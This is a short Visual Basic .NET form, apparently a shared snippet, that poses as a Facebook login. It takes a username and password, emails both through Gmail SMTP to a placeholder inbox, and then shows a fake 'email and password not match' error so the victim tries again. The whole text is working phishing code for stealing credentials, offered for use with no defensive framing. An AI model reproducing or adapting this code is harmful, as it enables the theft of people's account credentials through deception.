HTML Microsoft Visual Basic Express 2010

Imports System.Net.Mail
Public Class Form2

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("emailkau@gmail.com", "passwordkau")
        'guna gmail account
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("emailkau@gmail.com")
        mail.To.Add("emailkau@gmail.com")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Error! you facebook email and password not match! please try again!  ")
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Me.Close()

    End Sub
End Class